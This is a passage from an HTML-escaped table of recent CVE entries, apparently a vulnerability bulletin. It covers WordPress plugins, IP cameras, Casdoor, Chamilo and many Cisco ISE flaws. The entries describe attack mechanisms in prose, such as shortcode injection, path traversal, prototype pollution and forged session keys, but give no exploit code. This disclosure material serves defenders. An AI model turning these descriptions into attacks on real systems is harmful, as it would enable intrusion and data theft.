&lt;td&gt;The WP Recipe Maker plugin for WordPress is vulnerable to Arbitrary Shortcode Execution in all versions up to, and including, 10.8.1. The vulnerability exists because `WPRM_Metadata::sanitize_metadata()` recursively calls `do_shortcode()` on every scalar field of the recipe&#039;s structured metadata array - including the `reviewBody` field, which is populated verbatim from the `comment_content` of approved `wprm-comment-rating` comments - without sanitizing or stripping shortcode tokens before execution; the subsequent `wp_strip_all_tags()` and `strip_shortcodes()` calls operate only on the output string after execution has already fully occurred, providing no protection against server-side shortcode invocation. This makes it possible for unauthenticated attackers to execute arbitrary registered WordPress shortcodes server-side on every recipe page render, causing shortcode output - such as attachment captions, private post fields, or other data exposed by installed shortcodes - to be embedded in the page&#039;s JSON-LD `reviewBody` metadata and disclosed to all visitors who load the recipe page. Successful exploitation requires the attacker&#039;s rated comment to pass the site&#039;s comment approval threshold, either via auto-approval or moderator action, before the injected shortcode begins executing on page loads.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89274&quot; target=&quot;_blank&quot;&gt;CVE-2026-89274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;brufdev--many-notes&lt;/td&gt;
&lt;td&gt;Many Notes is a Markdown note-taking web application designed for simplicity. Prior to 0.16.0, the ZIP vault import implemented in app/Actions/ProcessImportedVault.php accepts archive filenames containing parent-directory traversal segments. An authenticated user can write arbitrary files outside the importing user&#039;s vault and into other users&#039; vaults, including overwriting existing files. Disguised SVG content can be placed in another user&#039;s vault and execute stored cross-site scripting when the victim opens that vault. This issue is fixed in version 0.16.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54053&quot; target=&quot;_blank&quot;&gt;CVE-2026-54053&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BuilderIO--@builder.io/sdk-react&lt;/td&gt;
&lt;td&gt;Builder.io Gen2 SDKs through versions 5.2.11 and 0.25.13 contain a prototype pollution vulnerability in the deep-set helper function that processes content block bindings without validation. Attackers can craft content blocks with binding keys containing __proto__, prototype, or constructor paths to pollute Object.prototype during rendering, affecting all subsequent objects created in the process including other tenants&#039; renders.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92779&quot; target=&quot;_blank&quot;&gt;CVE-2026-92779&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;c-ares--c-ares&lt;/td&gt;
&lt;td&gt;c-ares is an asynchronous resolver library. Prior to 1.34.7, ares_dns_name_parse() enforces backward DNS compression pointers but does not bound the total pointer hops or assembled name length. A malicious DNS server can send a response containing a long descending pointer chain and many resource records whose NAME or RDATA fields refer to the chain, causing repeated decompression work that grows quadratically with message size. A single crafted response can stall the single-threaded c-ares event loop and deny DNS resolution, without causing memory corruption or information disclosure. This issue is fixed in version 1.34.7.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69184&quot; target=&quot;_blank&quot;&gt;CVE-2026-69184&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Canva--Affinity&lt;/td&gt;
&lt;td&gt;The Affinity by Canva application before 3.3.0 (September 2026 release) did not perform adequate bounds checking when parsing Affinity document files leading to a stack-based buffer overflow. A threat actor could craft a Affinity document that when opened by a user in Affinity could result in arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81546&quot; target=&quot;_blank&quot;&gt;CVE-2026-81546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CareCam--HMT.CM2507 Firmware&lt;/td&gt;
&lt;td&gt;CM2507 IP cameras store configured wireless network credentials in cleartext within the device filesystem. An attacker who obtains filesystem access through physical access, a debugging interface, or another vulnerability could recover the configured network identifier and pre-shared key.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81321&quot; target=&quot;_blank&quot;&gt;CVE-2026-81321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CareCam--HMT.CM2507 Firmware&lt;/td&gt;
&lt;td&gt;CareCam CM2507 IP cameras store the device&#039;s root-account password using a fixed legacy password hash that provides insufficient resistance to offline cracking. An attacker who obtains the firmware image or password database could recover the associated credential, which may also be reusable across other devices running the same firmware.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85497&quot; target=&quot;_blank&quot;&gt;CVE-2026-85497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CareCam--HMT.CM2507 Firmware&lt;/td&gt;
&lt;td&gt;CM2507 IP cameras accept an empty password for a privileged account exposed through its ONVIF management service. An attacker with network access to the affected device could access privileged management functions and obtain device, user, media-profile, and stream configuration information.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84398&quot; target=&quot;_blank&quot;&gt;CVE-2026-84398&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CareCam--HMT.CM2507 Firmware&lt;/td&gt;
&lt;td&gt;CareCam CM2507 IP cameras do not require authentication for access to its network video streaming service. An unauthenticated attacker with network access to the affected device could retrieve live camera video.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88259&quot; target=&quot;_blank&quot;&gt;CVE-2026-88259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;casdoor--casdoor&lt;/td&gt;
&lt;td&gt;Casdoor through 4.4.0 fails to properly mask the instance-wide built-in certificate private key in /api/get-certs and /api/get-cert endpoints, allowing organization administrators to retrieve it. Attackers can use the exposed private key to forge JWT tokens for any user in any organization, including global administrators.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90942&quot; target=&quot;_blank&quot;&gt;CVE-2026-90942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;casdoor--casdoor&lt;/td&gt;
&lt;td&gt;Casdoor through 4.4.0 contains an authorization bypass vulnerability in the /api/mcp endpoint that allows attackers with any application&#039;s clientId and clientSecret to gain unrestricted access to user administration across all organizations. Attackers can enumerate user records including password salts and email addresses, create administrator accounts, modify existing users, and delete them in any organization by supplying legitimate credentials from a single application.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91998&quot; target=&quot;_blank&quot;&gt;CVE-2026-91998&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Caucho Technology, Inc.--Resin&lt;/td&gt;
&lt;td&gt;Caucho Resin contains a path traversal vulnerability in the documentation webapp (resin-doc) that allows remote unauthenticated attackers to read arbitrary files by supplying a relative path through the inputFile request parameter of the jndi-appconfig tutorial servlet. Attackers can craft requests with directory traversal sequences to the servlet endpoint to read files outside the intended tutorial directory on the underlying system. Exploitation evidence was first observed by the Shadowserver Foundation on 2021-12-10.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2017-20284&quot; target=&quot;_blank&quot;&gt;CVE-2017-20284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cesargb--laravel-magiclink&lt;/td&gt;
&lt;td&gt;Laravel MagicLink creates links for authentication without a password or for accessing private content. From 2.0.0 until 2.25.1, MagicLink stores serialized action objects in the magic_links.action database column and deserializes them through src/MagicLink.php and src/Actions/ResponseAction.php without sufficient integrity protection, while an unsafe legacy unserialize() fallback remains reachable. An attacker who can manipulate database records, such as through a separate SQL injection or compromised administrative access, can insert a malicious serialized object graph containing executable closure behavior; visiting the associated magic link then deserializes the record and can execute arbitrary code in the application process. The affected path is restricted to manipulated action records and does not independently provide database-write access. This issue is fixed in version 2.25.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61701&quot; target=&quot;_blank&quot;&gt;CVE-2026-61701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chaitin--SafeLine&lt;/td&gt;
&lt;td&gt;SafeLine through 9.4.1 derives the management console session-signing secret from a time-seeded math/rand generator, allowing attackers to reconstruct the key offline. Unauthenticated remote attackers who can bound the install timestamp can regenerate the secret and forge valid administrator session cookies to gain control of protected sites.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92749&quot; target=&quot;_blank&quot;&gt;CVE-2026-92749&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chamilo--chamilo-lms&lt;/td&gt;
&lt;td&gt;Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45140&quot; target=&quot;_blank&quot;&gt;CVE-2026-45140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chamilo--chamilo-lms&lt;/td&gt;
&lt;td&gt;Chamilo LMS is an open-source learning management system. From 2.0.0 through at least 2.1.0, Chamilo LMS stores private Message.content without server-side sanitization and renders it as HTML in assets/vue/views/message/MessageShow.vue and public/main/template/default/message/view_message.html.twig. An authenticated low-privilege user, including a student, can directly address crafted message content to an administrator because the message creation flow permits a sender to select another user as the recipient. The content executes in the recipient&#039;s browser when the recipient opens the routine inbox or message view, without requiring a link click, and can expose session credentials or permit actions as the administrator. This vulnerability is fixed in 2.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45143&quot; target=&quot;_blank&quot;&gt;CVE-2026-45143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ChangeWeDer--crm&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in ChangeWeDer crm up to c07bd4c97141521af6475034bc58523beed51bbd. This vulnerability affects the function top.upstudy.crm.utils.LoginUserUtil.releaseUserIdFromCookie. The manipulation leads to improper authentication. The attack can be initiated remotely. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92401&quot; target=&quot;_blank&quot;&gt;CVE-2026-92401&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Chanjet Information Technology Co., Ltd.--CRM&lt;/td&gt;
&lt;td&gt;Chanjet CRM contains an unauthenticated SQL injection vulnerability that allows remote attackers to execute arbitrary SQL queries by manipulating the site_id GET parameter in the webservice endpoint. Attackers can exploit the lack of input sanitization or parameterization through UNION-based injection techniques to extract sensitive data from the underlying database. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2021-48008&quot; target=&quot;_blank&quot;&gt;CVE-2021-48008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;checkpoint--Quantum Security Management&lt;/td&gt;
&lt;td&gt;A stack overflow during the unauthenticated login process may allow an attacker to run arbitrary code remotely with root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91843&quot; target=&quot;_blank&quot;&gt;CVE-2026-91843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chenhg5--cc-connect&lt;/td&gt;
&lt;td&gt;cc-connect through 1.5.0 fails to enforce per-user allowlist filtering in the onCardAction handler for Feishu interactive card callbacks. Attackers can dispatch agent commands by triggering card actions in admitted chats, bypassing the per-user access controls that protect the text message handler.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92801&quot; target=&quot;_blank&quot;&gt;CVE-2026-92801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Chris kerfeldt Wendel--EduAdmin Booking&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Authentication in EduAdmin Booking &amp;lt;= 5.4.2 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62101&quot; target=&quot;_blank&quot;&gt;CVE-2026-62101&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chroma-core--chroma&lt;/td&gt;
&lt;td&gt;Chroma through 1.5.9 fails to validate tenant and database segments when resolving collections, allowing authenticated attackers to access collections from other tenants by knowing the collection identifier. Attackers can read, modify, and update records in foreign collections by issuing requests under their own tenant path, bypassing authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92782&quot; target=&quot;_blank&quot;&gt;CVE-2026-92782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC), engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20130 are related to improper neutralization of special elements issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-74.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20130&quot; target=&quot;_blank&quot;&gt;CVE-2026-20130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20192 are related to improper access control issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-284.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20192&quot; target=&quot;_blank&quot;&gt;CVE-2026-20192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the REST API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to gain administrative access to an affected device. This vulnerability is due to the REST API web service being exposed with insufficient authorization checks. An attacker could exploit this vulnerability by sending a crafted HTTP request to the exposed REST API port. A successful exploit could allow the attacker to read and modify ISE configuration and identity data with administrative privileges.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76423&quot; target=&quot;_blank&quot;&gt;CVE-2026-76423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in an API of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to bypass authentication. This vulnerability is due to insufficient authentication control on an API endpoint. An attacker could exploit this vulnerability by sending a crafted request to an affected API endpoint. A successful exploit could allow the attacker to gain unauthorized access to the affected device by bypassing the web-based management interface.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76460&quot; target=&quot;_blank&quot;&gt;CVE-2026-76460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. To exploit this vulnerability, the attacker must have valid high-privileged administrative credentials. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain system-level access to the underlying operating system and then elevate privileges to root. In single-node deployments, successful exploitation of this vulnerability could cause the affected ISE node to become unavailable, resulting in a DoS condition. In that condition, endpoints that have not already authenticated would be unable to access the network until the node is restored.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20176&quot; target=&quot;_blank&quot;&gt;CVE-2026-20176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC), engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20194 are related to incorrect resource transfer between spheres that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-669.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20194&quot; target=&quot;_blank&quot;&gt;CVE-2026-20194&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. To exploit this vulnerability, the attacker must have valid high-privileged administrative credentials. This vulnerability is due to insecure deserialization of Java objects by the affected software. An attacker could exploit this vulnerability by sending a crafted serialized Java object to an affected device. A successful exploit could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to&amp;amp;nbsp;root. In single-node deployments, successful exploitation of this vulnerability could cause the affected ISE node to become unavailable, resulting in a DoS condition. In that condition, endpoints that have not already authenticated would be unable to access the network until the node is restored.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20211&quot; target=&quot;_blank&quot;&gt;CVE-2026-20211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20234 are related to insufficiently protected credentials issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-522.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20234&quot; target=&quot;_blank&quot;&gt;CVE-2026-20234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;As part of Cisco&#039;s ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC), engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20237 are related to improper input validation issues that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-20.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20237&quot; target=&quot;_blank&quot;&gt;CVE-2026-20237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the SXP REST API of Cisco ISE could allow an authenticated, remote attacker to conduct SQL injection attacks. This vulnerability is due to insufficient validation of user-supplied input in REST API calls. An attacker could exploit this vulnerability by sending crafted input to an affected device. A successful exploit could allow the attacker to view or modify data on the underlying database for the affected device. In single-node deployments, successful exploitation of this vulnerability could cause the affected ISE node to become unavailable, resulting in a DoS condition. In that condition, endpoints that have not already authenticated would be unable to access the network until the node is restored. To exploit this vulnerability, the attacker must have valid administrative credentials, have the SXP service enabled, and have at least one SXP connection configured.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20284&quot; target=&quot;_blank&quot;&gt;CVE-2026-20284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the diagnostic tools of Cisco ISE and ISE-PIC could allow an authenticated, remote attacker to perform command injection attacks on the underlying operating system and elevate privileges to&amp;amp;nbsp;root. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root. In single-node deployments, successful exploitation of this vulnerability could cause the affected ISE node to become unavailable, resulting in a denial of service (DoS) condition. In that condition, endpoints that have not already authenticated would be unable to access the network until the node is restored.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20305&quot; target=&quot;_blank&quot;&gt;CVE-2026-20305&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the REST API of Cisco ISE and ISE-PIC could allow an authenticated, remote attacker to perform command injection attacks on the underlying operating system and elevate privileges to root. To exploit this vulnerability, the attacker must have valid administrative credentials. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted commands to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root. In single-node deployments, successful exploitation of this vulnerability could cause the affected ISE node to become unavailable, resulting in a DoS condition. In that condition, endpoints that have not already authenticated would be unable to access the network until the node is restored.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20306&quot; target=&quot;_blank&quot;&gt;CVE-2026-20306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. To exploit this vulnerability, the attacker must have at least low-privileged administrative credentials. This vulnerability is due to insecure deserialization of a user-supplied Java byte stream. An attacker could exploit this vulnerability by sending a crafted serialized Java object to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root. In single-node deployments, successful exploitation of this vulnerability could cause the affected ISE node to become unavailable, resulting in a denial of service (DoS) condition. In that condition, endpoints that have not already authenticated would be unable to access the network until the node is restored.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20307&quot; target=&quot;_blank&quot;&gt;CVE-2026-20307&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the RADIUS feature of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to improper handling of certain RADIUS requests. An attacker could exploit this vulnerability by sending a crafted RADIUS request directly to an affected device. A successful exploit could allow the attacker to cause the ISE node to become unavailable. For single node deployments in that condition, endpoints that have not already authenticated would be unable to access the network until the&amp;amp;nbsp;node comes back up on its own.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20352&quot; target=&quot;_blank&quot;&gt;CVE-2026-20352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Identity Services Engine Software&lt;/td&gt;
